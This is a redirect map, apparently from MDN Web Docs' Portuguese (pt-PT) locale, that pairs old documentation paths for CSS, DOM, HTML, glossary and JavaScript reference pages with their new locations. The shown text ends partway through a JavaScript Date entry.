-/pt-PT/docs/CSS/border-color /pt-PT/docs/Web/CSS/border-color -/pt-PT/docs/CSS/border-left /pt-PT/docs/Web/CSS/border-left -/pt-PT/docs/CSS/border-left-color /pt-PT/docs/Web/CSS/border-left-color -/pt-PT/docs/CSS/border-left-style /pt-PT/docs/Web/CSS/border-left-style -/pt-PT/docs/CSS/border-left-width /pt-PT/docs/Web/CSS/border-left-width -/pt-PT/docs/CSS/border-right /pt-PT/docs/Web/CSS/border-right -/pt-PT/docs/CSS/border-right-color /pt-PT/docs/Web/CSS/border-right-color -/pt-PT/docs/CSS/border-right-style /pt-PT/docs/Web/CSS/border-right-style -/pt-PT/docs/CSS/border-right-width /pt-PT/docs/Web/CSS/border-right-width -/pt-PT/docs/CSS/border-spacing /pt-PT/docs/Web/CSS/border-spacing -/pt-PT/docs/CSS/border-top /pt-PT/docs/Web/CSS/border-top -/pt-PT/docs/CSS/border-top-color /pt-PT/docs/Web/CSS/border-top-color -/pt-PT/docs/CSS/border-top-style /pt-PT/docs/Web/CSS/border-top-style -/pt-PT/docs/CSS/border-top-width /pt-PT/docs/Web/CSS/border-top-width -/pt-PT/docs/CSS/border-width /pt-PT/docs/Web/CSS/border-width -/pt-PT/docs/CSS/bottom /pt-PT/docs/Web/CSS/bottom -/pt-PT/docs/CSS/clear /pt-PT/docs/Web/CSS/clear -/pt-PT/docs/CSS/color /pt-PT/docs/Web/CSS/color -/pt-PT/docs/CSS/content /pt-PT/docs/Web/CSS/content -/pt-PT/docs/CSS/counter-increment /pt-PT/docs/Web/CSS/counter-increment -/pt-PT/docs/CSS/counter-reset /pt-PT/docs/Web/CSS/counter-reset -/pt-PT/docs/CSS/cursor /pt-PT/docs/Web/CSS/cursor -/pt-PT/docs/CSS/direction /pt-PT/docs/Web/CSS/direction -/pt-PT/docs/CSS/display /pt-PT/docs/Web/CSS/display -/pt-PT/docs/CSS/float /pt-PT/docs/Web/CSS/float -/pt-PT/docs/CSS/font /pt-PT/docs/Web/CSS/font -/pt-PT/docs/CSS/font-size /pt-PT/docs/Web/CSS/font-size -/pt-PT/docs/CSS/font-size-adjust /pt-PT/docs/Web/CSS/font-size-adjust -/pt-PT/docs/CSS/font-style /pt-PT/docs/Web/CSS/font-style -/pt-PT/docs/CSS/font-weight /pt-PT/docs/Web/CSS/font-weight -/pt-PT/docs/CSS/height /pt-PT/docs/Web/CSS/height -/pt-PT/docs/CSS/inherit /pt-PT/docs/Web/CSS/inherit -/pt-PT/docs/CSS/list-style /pt-PT/docs/Web/CSS/list-style -/pt-PT/docs/CSS/top /pt-PT/docs/Web/CSS/top -/pt-PT/docs/CSS/width /pt-PT/docs/Web/CSS/width -/pt-PT/docs/CSS/z-index /pt-PT/docs/Web/CSS/z-index -/pt-PT/docs/CSS::after /pt-PT/docs/Web/CSS/::after -/pt-PT/docs/CSS::before /pt-PT/docs/Web/CSS/::before -/pt-PT/docs/CSS:@import /pt-PT/docs/Web/CSS/@import -/pt-PT/docs/CSS:@media /pt-PT/docs/Web/CSS/@media -/pt-PT/docs/CSS:Como_começar /pt-PT/docs/Learn/CSS/First_steps -/pt-PT/docs/CSS:Como_começar:CSS_legível /pt-PT/docs/Learn/CSS/First_steps/How_CSS_is_structured -/pt-PT/docs/CSS:Como_começar:Caixas /pt-PT/docs/Learn/CSS/Building_blocks -/pt-PT/docs/CSS:Como_começar:Cascata_e_herança /pt-PT/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance -/pt-PT/docs/CSS:Como_começar:Como_o_CSS_trabalha /pt-PT/docs/Learn/CSS/First_steps/How_CSS_works -/pt-PT/docs/CSS:Como_começar:Conteúdo /pt-PT/docs/Learn/CSS/Howto/Generated_content -/pt-PT/docs/CSS:Como_começar:Cor /pt-PT/docs/Learn/CSS/Building_blocks/Values_and_units -/pt-PT/docs/CSS:Como_começar:Dados_XML /pt-PT/docs/Web/CSS/Como_começar/Dados_XML -/pt-PT/docs/CSS:Como_começar:Disposição /pt-PT/docs/Learn/CSS/CSS_layout -/pt-PT/docs/CSS:Como_começar:Estilos_de_texto /pt-PT/docs/Learn/CSS/Styling_text/Fundamentals -/pt-PT/docs/CSS:Como_começar:Gráficos_SVG /pt-PT/docs/Web/SVG/Tutorial/SVG_and_CSS -/pt-PT/docs/CSS:Como_começar:Interfaces_de_usuário_XUL /pt-PT/docs/Web/CSS/Como_começar/Interfaces_de_usuário_XUL -/pt-PT/docs/CSS:Como_começar:JavaScript /pt-PT/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -/pt-PT/docs/CSS:Como_começar:Listas /pt-PT/docs/Learn/CSS/Styling_text/Styling_lists -/pt-PT/docs/CSS:Como_começar:Mídia /pt-PT/docs/Web/Progressive_web_apps/Responsive/Media_types -/pt-PT/docs/CSS:Como_começar:O_que_é_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works -/pt-PT/docs/CSS:Como_começar:O_que_é_CSS? /pt-PT/docs/orphaned/Web/CSS/Como_começar/O_que_é_CSS? -/pt-PT/docs/CSS:Como_começar:Porque_usar_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460 -/pt-PT/docs/CSS:Como_começar:Seletores /pt-PT/docs/Learn/CSS/Building_blocks/Selectors -/pt-PT/docs/CSS:Como_começar:Tabelas /pt-PT/docs/Learn/CSS/Building_blocks/Styling_tables -/pt-PT/docs/CSS:azimuth /pt-PT/docs/Web/CSS/azimuth -/pt-PT/docs/CSS:background /pt-PT/docs/Web/CSS/background -/pt-PT/docs/CSS:background-attachment /pt-PT/docs/Web/CSS/background-attachment -/pt-PT/docs/CSS:background-color /pt-PT/docs/Web/CSS/background-color -/pt-PT/docs/CSS:background-image /pt-PT/docs/Web/CSS/background-image -/pt-PT/docs/CSS:background-position /pt-PT/docs/Web/CSS/background-position -/pt-PT/docs/CSS:background-repeat /pt-PT/docs/Web/CSS/background-repeat -/pt-PT/docs/CSS:border /pt-PT/docs/Web/CSS/border -/pt-PT/docs/CSS:border-bottom /pt-PT/docs/Web/CSS/border-bottom -/pt-PT/docs/CSS:border-bottom-color /pt-PT/docs/Web/CSS/border-bottom-color -/pt-PT/docs/CSS:border-bottom-style /pt-PT/docs/Web/CSS/border-bottom-style -/pt-PT/docs/CSS:border-bottom-width /pt-PT/docs/Web/CSS/border-bottom-width -/pt-PT/docs/CSS:border-collapse /pt-PT/docs/Web/CSS/border-collapse -/pt-PT/docs/CSS:border-color /pt-PT/docs/Web/CSS/border-color -/pt-PT/docs/CSS:border-left /pt-PT/docs/Web/CSS/border-left -/pt-PT/docs/CSS:border-left-color /pt-PT/docs/Web/CSS/border-left-color -/pt-PT/docs/CSS:border-left-style /pt-PT/docs/Web/CSS/border-left-style -/pt-PT/docs/CSS:border-left-width /pt-PT/docs/Web/CSS/border-left-width -/pt-PT/docs/CSS:border-right /pt-PT/docs/Web/CSS/border-right -/pt-PT/docs/CSS:border-right-color /pt-PT/docs/Web/CSS/border-right-color -/pt-PT/docs/CSS:border-right-style /pt-PT/docs/Web/CSS/border-right-style -/pt-PT/docs/CSS:border-right-width /pt-PT/docs/Web/CSS/border-right-width -/pt-PT/docs/CSS:border-spacing /pt-PT/docs/Web/CSS/border-spacing -/pt-PT/docs/CSS:border-top /pt-PT/docs/Web/CSS/border-top -/pt-PT/docs/CSS:border-top-color /pt-PT/docs/Web/CSS/border-top-color -/pt-PT/docs/CSS:border-top-style /pt-PT/docs/Web/CSS/border-top-style -/pt-PT/docs/CSS:border-top-width /pt-PT/docs/Web/CSS/border-top-width -/pt-PT/docs/CSS:border-width /pt-PT/docs/Web/CSS/border-width -/pt-PT/docs/CSS:bottom /pt-PT/docs/Web/CSS/bottom -/pt-PT/docs/CSS:clear /pt-PT/docs/Web/CSS/clear -/pt-PT/docs/CSS:color /pt-PT/docs/Web/CSS/color -/pt-PT/docs/CSS:counter-increment /pt-PT/docs/Web/CSS/counter-increment -/pt-PT/docs/CSS:counter-reset /pt-PT/docs/Web/CSS/counter-reset -/pt-PT/docs/CSS:cursor /pt-PT/docs/Web/CSS/cursor -/pt-PT/docs/CSS:direction /pt-PT/docs/Web/CSS/direction -/pt-PT/docs/CSS:display /pt-PT/docs/Web/CSS/display -/pt-PT/docs/CSS:float /pt-PT/docs/Web/CSS/float -/pt-PT/docs/CSS:font /pt-PT/docs/Web/CSS/font -/pt-PT/docs/CSS:font-size /pt-PT/docs/Web/CSS/font-size -/pt-PT/docs/CSS:font-size-adjust /pt-PT/docs/Web/CSS/font-size-adjust -/pt-PT/docs/CSS:font-style /pt-PT/docs/Web/CSS/font-style -/pt-PT/docs/CSS:font-weight /pt-PT/docs/Web/CSS/font-weight -/pt-PT/docs/CSS:height /pt-PT/docs/Web/CSS/height -/pt-PT/docs/CSS:inherit /pt-PT/docs/Web/CSS/inherit -/pt-PT/docs/CSS:list-style /pt-PT/docs/Web/CSS/list-style -/pt-PT/docs/CSS:width /pt-PT/docs/Web/CSS/width -/pt-PT/docs/CSS:z-index /pt-PT/docs/Web/CSS/z-index -/pt-PT/docs/Componentes /pt-PT/docs/orphaned/Componentes -/pt-PT/docs/Compressão_de_Temas /pt-PT/docs/Empacotando_Temas -/pt-PT/docs/Configurando_um_servidor_de_atualização /pt-PT/docs/orphaned/Configurando_um_servidor_de_atualização -/pt-PT/docs/Construir_uma_Extensão /pt-PT/docs/orphaned/Construir_uma_Extensão -/pt-PT/docs/Controles_Customizados /pt-PT/docs/orphaned/XForms/Controles_Customizados -/pt-PT/docs/Controles_XUL /pt-PT/docs/orphaned/Controles_XUL -/pt-PT/docs/Criando_plugins_OpenSearch_para_o_Firefox /pt-PT/docs/Web/OpenSearch -/pt-PT/docs/Criando_um_visual_para_o_Firefox /pt-PT/docs/orphaned/Criando_um_visual_para_o_Firefox -/pt-PT/docs/Criando_um_visual_para_o_Firefox:Iniciando /pt-PT/docs/Criando_um_visual_para_o_Firefox/Iniciando -/pt-PT/docs/Criando_um_visual_para_o_Firefox:UUID /pt-PT/docs/Criando_um_visual_para_o_Firefox/UUID -/pt-PT/docs/Criando_um_visual_para_o_Firefox:contents.rdf /pt-PT/docs/Criando_um_visual_para_o_Firefox/contents.rdf -/pt-PT/docs/Criando_um_visual_para_o_Firefox:install.rdf /pt-PT/docs/Criando_um_visual_para_o_Firefox/install.rdf -/pt-PT/docs/Criar_uma_pele_para_o_Firefox /pt-PT/docs/orphaned/Criar_uma_pele_para_o_Firefox -/pt-PT/docs/DHTML /pt-PT/docs/Glossary/DHTML -/pt-PT/docs/DOM /pt-PT/docs/Web/API/Document_Object_Model -/pt-PT/docs/DOM/DOM_Reference /pt-PT/docs/Web/API/Document_Object_Model -/pt-PT/docs/DOM/DOM_Storage /pt-PT/docs/Web/API/Web_Storage_API -/pt-PT/docs/DOM/Selection /pt-PT/docs/Web/API/Selection -/pt-PT/docs/DOM/Storage /pt-PT/docs/Web/API/Web_Storage_API -/pt-PT/docs/DOM/document.alinkColor /pt-PT/docs/Web/API/Document/alinkColor -/pt-PT/docs/DOM/document.bgColor /pt-PT/docs/Web/API/Document/bgColor -/pt-PT/docs/DOM/document.cookie /pt-PT/docs/Web/API/Document/cookie -/pt-PT/docs/DOM/document.getElementsByClassName /pt-PT/docs/Web/API/Document/getElementsByClassName -/pt-PT/docs/DOM/element /pt-PT/docs/Web/API/Element -/pt-PT/docs/DOM/element.appendChild /pt-PT/docs/Web/API/Node/appendChild -/pt-PT/docs/DOM/element.clientLeft /pt-PT/docs/Web/API/Element/clientLeft -/pt-PT/docs/DOM/element.clientTop /pt-PT/docs/Web/API/Element/clientTop -/pt-PT/docs/DOM/element.cloneNode /pt-PT/docs/Web/API/Node/cloneNode -/pt-PT/docs/DOM/element.insertBefore /pt-PT/docs/Web/API/Node/insertBefore -/pt-PT/docs/DOM:document.getElementsByClassName /pt-PT/docs/Web/API/Document/getElementsByClassName -/pt-PT/docs/DOM:element /pt-PT/docs/Web/API/Element -/pt-PT/docs/DOM:element.appendChild /pt-PT/docs/Web/API/Node/appendChild -/pt-PT/docs/DOM:element.clientLeft /pt-PT/docs/Web/API/Element/clientLeft -/pt-PT/docs/DOM:element.clientTop /pt-PT/docs/Web/API/Element/clientTop -/pt-PT/docs/DOM:element.cloneNode /pt-PT/docs/Web/API/Node/cloneNode -/pt-PT/docs/DOM:element.insertBefore /pt-PT/docs/Web/API/Node/insertBefore -/pt-PT/docs/DOM_Inspector /pt-PT/docs/orphaned/Tools/Add-ons/DOM_Inspector -/pt-PT/docs/DOM_Inspector/Introduction_to_DOM_Inspector /pt-PT/docs/orphaned/Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector -/pt-PT/docs/Desenhando_texto_usando_canvas /pt-PT/docs/orphaned/Desenhando_texto_usando_canvas -/pt-PT/docs/Desenvolvimento_Web /pt-PT/docs/Web/Guide -/pt-PT/docs/Eventos_online_e_offline /pt-PT/docs/Web/API/NavigatorOnLine/Online_and_offline_events -/pt-PT/docs/FAQ_Extensões /pt-PT/docs/orphaned/FAQ_Extensões -/pt-PT/docs/Firefox_1.5_para_Desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/1.5 -/pt-PT/docs/Firefox_2_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/2 -/pt-PT/docs/Firefox_3.5_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/3.5 -/pt-PT/docs/Firefox_3.6_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/3.6 -/pt-PT/docs/Firefox_3_para_desenvolvedores /pt-PT/docs/orphaned/Firefox_3_para_desenvolvedores -/pt-PT/docs/Firefox_4_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/4 -/pt-PT/docs/Firefox_5_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/5 -/pt-PT/docs/Firefox_6_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/6 -/pt-PT/docs/Folhas_de_estilo_alternativas /pt-PT/docs/Web/CSS/Alternative_style_sheets -/pt-PT/docs/Glossário /pt-PT/docs/Glossary -/pt-PT/docs/Glossário/404 /pt-PT/docs/Glossary/404 -/pt-PT/docs/Glossário/502 /pt-PT/docs/Glossary/502 -/pt-PT/docs/Glossário/AJAX /pt-PT/docs/Glossary/AJAX -/pt-PT/docs/Glossário/API /pt-PT/docs/conflicting/Glossary/API -/pt-PT/docs/Glossário/ARIA /pt-PT/docs/Glossary/ARIA -/pt-PT/docs/Glossário/Acessibilidade /pt-PT/docs/Glossary/Accessibility -/pt-PT/docs/Glossário/Argumento /pt-PT/docs/Glossary/Argument -/pt-PT/docs/Glossário/Assinatura /pt-PT/docs/Glossary/Signature -/pt-PT/docs/Glossário/BigInt /pt-PT/docs/Glossary/BigInt -/pt-PT/docs/Glossário/CIA /pt-PT/docs/Glossary/CIA -/pt-PT/docs/Glossário/CRLF /pt-PT/docs/Glossary/CRLF -/pt-PT/docs/Glossário/CRUD /pt-PT/docs/Glossary/CRUD -/pt-PT/docs/Glossário/Cabeçalho_de_entidade /pt-PT/docs/Glossary/Entity_header -/pt-PT/docs/Glossário/Cache /pt-PT/docs/Glossary/Cache -/pt-PT/docs/Glossário/Compilar /pt-PT/docs/Glossary/Compile -/pt-PT/docs/Glossário/Compressao_GZip /pt-PT/docs/Glossary/GZip_compression -/pt-PT/docs/Glossário/DOM /pt-PT/docs/Glossary/DOM -/pt-PT/docs/Glossário/ECMA /pt-PT/docs/Glossary/ECMA -/pt-PT/docs/Glossário/Eixo_principal /pt-PT/docs/Glossary/Main_Axis -/pt-PT/docs/Glossário/Eixo_transversal /pt-PT/docs/Glossary/Cross_Axis -/pt-PT/docs/Glossário/Elemento /pt-PT/docs/Glossary/Element -/pt-PT/docs/Glossário/Etiqueta /pt-PT/docs/Glossary/Tag -/pt-PT/docs/Glossário/Extensoes_da_Web /pt-PT/docs/Glossary/WebExtensions -/pt-PT/docs/Glossário/Favicon /pt-PT/docs/Glossary/Favicon -/pt-PT/docs/Glossário/Flexbox /pt-PT/docs/Glossary/Flexbox -/pt-PT/docs/Glossário/GCS /pt-PT/docs/Glossary/SCM -/pt-PT/docs/Glossário/Git /pt-PT/docs/Glossary/Git -/pt-PT/docs/Glossário/HTML /pt-PT/docs/Glossary/HTML -/pt-PT/docs/Glossário/Hipertexto /pt-PT/docs/Glossary/Hypertext -/pt-PT/docs/Glossário/IANA /pt-PT/docs/Glossary/IANA -/pt-PT/docs/Glossário/ISP /pt-PT/docs/Glossary/ISP -/pt-PT/docs/Glossário/Idempotent /pt-PT/docs/Glossary/Idempotent -/pt-PT/docs/Glossário/IndexedDB /pt-PT/docs/Glossary/IndexedDB -/pt-PT/docs/Glossário/Lazy_load /pt-PT/docs/Glossary/Lazy_load -/pt-PT/docs/Glossário/Metadados /pt-PT/docs/Glossary/Metadata -/pt-PT/docs/Glossário/MitM /pt-PT/docs/Glossary/MitM -/pt-PT/docs/Glossário/Modo_de_operação_de_cifra_de_bloco /pt-PT/docs/Glossary/Block_cipher_mode_of_operation -/pt-PT/docs/Glossário/Motor /pt-PT/docs/Glossary/Engine -/pt-PT/docs/Glossário/Navegador /pt-PT/docs/Glossary/Browser -/pt-PT/docs/Glossário/Node.js /pt-PT/docs/Glossary/Node.js -/pt-PT/docs/Glossário/OOP /pt-PT/docs/Glossary/OOP -/pt-PT/docs/Glossário/OTA /pt-PT/docs/Glossary/OTA -/pt-PT/docs/Glossário/Objeto /pt-PT/docs/Glossary/Object -/pt-PT/docs/Glossário/Polyfill /pt-PT/docs/Glossary/Polyfill -/pt-PT/docs/Glossário/Prototype-based_programming /pt-PT/docs/Glossary/Prototype-based_programming -/pt-PT/docs/Glossário/Referencia_de_objeto /pt-PT/docs/Glossary/Object_reference -/pt-PT/docs/Glossário/Servidor /pt-PT/docs/Glossary/Server -/pt-PT/docs/Glossário/UTF-8 /pt-PT/docs/Glossary/UTF-8 -/pt-PT/docs/Glossário/Valor /pt-PT/docs/Glossary/Value -/pt-PT/docs/Glossário/Viewport /pt-PT/docs/Glossary/Viewport -/pt-PT/docs/Glossário/Viewport_Visual /pt-PT/docs/Glossary/Visual_Viewport -/pt-PT/docs/Glossário/WHATWG /pt-PT/docs/Glossary/WHATWG -/pt-PT/docs/Glossário/WebRTC /pt-PT/docs/Glossary/WebRTC -/pt-PT/docs/Glossário/WebVTT /pt-PT/docs/Glossary/WebVTT -/pt-PT/docs/Glossário/World_Wide_Web /pt-PT/docs/Glossary/World_Wide_Web -/pt-PT/docs/Glossário/Wrapper /pt-PT/docs/Glossary/Wrapper -/pt-PT/docs/Glossário/XML /pt-PT/docs/Glossary/XML -/pt-PT/docs/Glossário/booliano /pt-PT/docs/Glossary/Boolean -/pt-PT/docs/HTML /pt-PT/docs/Web/HTML -/pt-PT/docs/HTML/Aplicar_cor__elementos_HTML_utilizando_CSS /pt-PT/docs/Web/HTML/Applying_color -/pt-PT/docs/HTML/Atributos /pt-PT/docs/Web/HTML/Attributes -/pt-PT/docs/HTML/Atributos_globais /pt-PT/docs/Web/HTML/Global_attributes -/pt-PT/docs/HTML/Element /pt-PT/docs/Web/HTML/Element -/pt-PT/docs/HTML/Element/Audio /pt-PT/docs/Web/HTML/Element/audio -/pt-PT/docs/HTML/Element/figcaption /pt-PT/docs/Web/HTML/Element/figcaption -/pt-PT/docs/HTML/Element/figure /pt-PT/docs/Web/HTML/Element/figure -/pt-PT/docs/HTML/Element/progress /pt-PT/docs/Web/HTML/Element/progress -/pt-PT/docs/HTML/Elemento /pt-PT/docs/Web/HTML/Element -/pt-PT/docs/HTML/Elemento/Audio /pt-PT/docs/Web/HTML/Element/audio -/pt-PT/docs/HTML/Elemento/Video /pt-PT/docs/Web/HTML/Element/video -/pt-PT/docs/HTML/Elemento/figcaption /pt-PT/docs/Web/HTML/Element/figcaption -/pt-PT/docs/HTML/Elemento/head /pt-PT/docs/Web/HTML/Element/head -/pt-PT/docs/HTML/Elemento/nav /pt-PT/docs/Web/HTML/Element/nav -/pt-PT/docs/HTML/Elemento/progress /pt-PT/docs/Web/HTML/Element/progress -/pt-PT/docs/HTML/Elemento/progress/progress /pt-PT/docs/Web/HTML/Element/progress -/pt-PT/docs/HTML/HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5 -/pt-PT/docs/HTML/HTML5/Forms_no_HTML5 /pt-PT/docs/orphaned/Learn/HTML/Forms/HTML5_updates -/pt-PT/docs/HTML/HTML5/Introdução_ao_HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5 -/pt-PT/docs/HTML/HTML5/Parser_HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5/HTML5_Parser -/pt-PT/docs/HTML/Referencia /pt-PT/docs/Web/HTML/Reference -/pt-PT/docs/HTML/Tipos_de_hiperligacao /pt-PT/docs/Web/HTML/Link_types -/pt-PT/docs/HTMLToDelete /en-US/docs/Web/HTML -/pt-PT/docs/HTMLToDelete/Aplicar_cor__elementos_HTML_utilizando_CSS /pt-PT/docs/Web/HTML/Applying_color -/pt-PT/docs/HTMLToDelete/Atributos /pt-PT/docs/Web/HTML/Attributes -/pt-PT/docs/HTMLToDelete/Atributos_globais /pt-PT/docs/Web/HTML/Global_attributes -/pt-PT/docs/HTMLToDelete/Element /pt-PT/docs/Web/HTML/Element -/pt-PT/docs/HTMLToDelete/Element/Audio /pt-PT/docs/Web/HTML/Element/audio -/pt-PT/docs/HTMLToDelete/Element/figure /pt-PT/docs/Web/HTML/Element/figure -/pt-PT/docs/HTMLToDelete/Element/progress /pt-PT/docs/Web/HTML/Element/progress -/pt-PT/docs/HTMLToDelete/Elemento /pt-PT/docs/Web/HTML/Element -/pt-PT/docs/HTMLToDelete/Elemento/Audio /pt-PT/docs/Web/HTML/Element/audio -/pt-PT/docs/HTMLToDelete/Elemento/Video /pt-PT/docs/Web/HTML/Element/video -/pt-PT/docs/HTMLToDelete/Elemento/figcaption /pt-PT/docs/Web/HTML/Element/figcaption -/pt-PT/docs/HTMLToDelete/Elemento/head /pt-PT/docs/Web/HTML/Element/head -/pt-PT/docs/HTMLToDelete/Elemento/nav /pt-PT/docs/Web/HTML/Element/nav -/pt-PT/docs/HTMLToDelete/Elemento/progress /pt-PT/docs/Web/HTML/Element/progress -/pt-PT/docs/HTMLToDelete/Referencia /pt-PT/docs/Web/HTML/Reference -/pt-PT/docs/HTMLToDelete/Tipos_de_hiperligacao /pt-PT/docs/Web/HTML/Link_types -/pt-PT/docs/Introducao_a_XML /pt-PT/docs/Web/XML/XML_introduction -/pt-PT/docs/JavaScript /pt-PT/docs/Web/JavaScript -/pt-PT/docs/JavaScript/Guia /pt-PT/docs/Web/JavaScript/Guide -/pt-PT/docs/JavaScript/Guia/Expressoes_e_Operadores /pt-PT/docs/orphaned/Web/JavaScript/Guia/Expressoes_e_Operadores -/pt-PT/docs/JavaScript/Guia/Introdução_ao_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/Guia/Introdução_ao_JavaScript -/pt-PT/docs/JavaScript/Guia/Sobre /pt-PT/docs/orphaned/Web/JavaScript/Guia/Sobre -/pt-PT/docs/JavaScript/Guia/Valores,_Variáveis_e_Literais /pt-PT/docs/orphaned/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais -/pt-PT/docs/JavaScript/Novidades_no_JavaScript /pt-PT/docs/Web/JavaScript/Novidades_no_JavaScript -/pt-PT/docs/JavaScript/Novidades_no_JavaScript/Novidades_no_Javascript_1.8 /pt-PT/docs/Web/JavaScript/Novidades_no_JavaScript/Novidades_no_Javascript_1.8 -/pt-PT/docs/JavaScript/O_que_é_o_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/O_que_é_o_JavaScript -/pt-PT/docs/JavaScript/Referência/About /en-US/docs/Web/JavaScript/Reference/About -/pt-PT/docs/JavaScript/Referência/Code_comments /en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Comments -/pt-PT/docs/JavaScript/Referência/Deprecated_and_obsolete_features /en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features -/pt-PT/docs/JavaScript/Referência/Functions_and_function_scope /en-US/docs/Web/JavaScript/Reference/Functions -/pt-PT/docs/JavaScript/Referência/Functions_and_function_scope/arguments /en-US/docs/Web/JavaScript/Reference/Functions/arguments -/pt-PT/docs/JavaScript/Referência/Functions_and_function_scope/arguments/callee /en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee -/pt-PT/docs/JavaScript/Referência/Functions_and_function_scope/arguments/length /en-US/docs/Web/JavaScript/Reference/Functions/arguments/length -/pt-PT/docs/JavaScript/Referência/Global_Objects /en-US/docs/Web/JavaScript/Reference/Global_Objects -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/Reduce /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/ReduceRight /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/concat /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/every /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/filter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/forEach /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/indexOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/isArray /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/join /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/lastIndexOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/length /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/length -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/map /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/pop /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/push /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/reverse /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/shift /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/slice /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/some /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/sort /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/splice /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/unshift /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift -/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/valueOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/UTC /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/UTC -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getDate /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getDay /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getFullYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getHours 